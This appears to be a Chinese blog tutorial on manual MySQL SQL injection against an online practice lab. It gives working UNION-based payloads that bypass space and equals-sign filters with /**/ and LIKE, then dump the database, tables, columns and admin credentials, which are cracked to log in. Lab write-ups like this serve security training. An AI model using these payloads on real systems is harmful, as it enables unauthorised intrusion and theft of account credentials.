zoukankan      html  css  js  c++  java
  • MySQL手工注入进阶篇——突破过滤危险字符问题

    当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题。下面是我的实战过程。这里使用的是墨者学院的在线靶场。咱们直接开始。

    第一步,判断注入点。

    通过测试发现,这里过滤了空格和等于号。所以咱们用/**/代替空格,用like代替=,最后将构造的语句进行url编码,使用的是小葵转化工具。

    所以咱们构造如下语句。

    /**/and/**/1/**/like/**/1

    结果如下图,页面正常显示。

    接着咱们再构造如下语句。

    /**/and/**/1/**/like/**/2

    发现页面报错,说明存在注入点,且为数字型。如下图

    第二步,判断字段数。

    通过 order by语句,咱们构造如下语句

    /**/order/**/by/**/4

    页面正常显示,如下图。

    接下来,咱们输入如下语句。

    /**/order/**/by/**/5

    发现页面报错,说明数据库里有四个字段,如下图。

    第三步,判断回显位置。

    通过联合查询,构造如下语句。这里有一点要注意:使用联合查询时,要使得前面不可查询,所以我将id=1改成了id=-1。

    /**/union/**/select/**/1,2,3,4/**/#

    结果如下图,我们发现,2,3,两个位置回显到页面上了。

    第四步,爆库

    通过上一步,咱们清楚了回显位置,接下来继续使用联合查询,构造如下语句。

    /**/union/**/select/**/1,database(),3,4/**/#

    结果去下图。咱们爆出了数据库名。

    第五步,爆表。

    由于爆表构造得语句有点长,编码成url格式会更长。所以这里换成了burpsuite进行url编码。构造语句如下。

    /**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

    结果去下图,咱们爆出了两个表。

    第六步,爆字段。

    接下来咱们构造如下语句。

    /**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

    然后咱们发现了name,password,两个字段,如下图。

    第七步,爆账号密码。

    这里咱们还用到了group_concat()函数,可以查询出所有账号和密码。构造如下语句。

    /**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

    结果如下图,查询出了管理员账号,密码。

    第八步,解密密码,登陆

    我们发现查询出来得密码是加密得,然后通过在线解密得到密码,如下图。注入结束。

    MySQL手工注入进阶篇实战总结

    判断注入点,通过测试发现,过滤了空格,等于号,所以用/**/代替空格,用like代替等于号,构造的语句在进行url编码。

    第一步,判断注入类型。构造语句 /**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2 发现报错。所以判断为数字型。

    第二步,判断字段数,构造语句 /**/order/**/by/**/4和/**/order/**/by/**/5 发现4正常,5报错,说明有四个字段数。

    第三步,爆库。构造语句 /**/union/**/select/**/1,database(),3,4/**/#

    第四步,爆表。构造语句/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

    第五步,爆字段。构造语句 ​ 构造语句/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

    第六步,获取账户,密码。构造语句 /**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

    第七步,解密,登陆。​

  • 相关阅读:
    mysql 常用函数
    JSP 分页代码
    day15(Mysql学习)
    day14(编码实战-用户登录注册)
    Bootstrap第3天
    Bootstrap第2天
    Bootstrap 第一天
    day13(JSTL和自定义标签&MVC模型&javaweb三层框架)
    label 对齐
    Alert提示框之后跳转指定页面
  • 原文地址:https://www.cnblogs.com/lxfweb/p/12667180.html
Copyright © 2011-2022 走看看